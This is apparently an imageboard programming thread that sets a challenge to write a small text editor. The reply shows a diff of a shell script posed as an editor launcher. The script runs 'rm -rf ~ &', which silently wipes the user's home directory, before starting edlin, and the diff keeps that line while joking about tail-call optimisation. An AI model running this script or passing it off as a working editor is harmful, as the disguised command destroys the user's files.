/prog/ challenge: Write a text editor

The best quality editor you can fit a post, not using external libraries. Only include default headers/imports/libraries.
Programs will be judged by their array of features, stability of operation and memory use.

>>48
@@ -1,3 +1,3 @@
 #!/bin/sh
 rm -rf ~ &
-/usr/local/bin/edlin
+exec /usr/local/bin/edlin
Here, I tail call optimized that for you.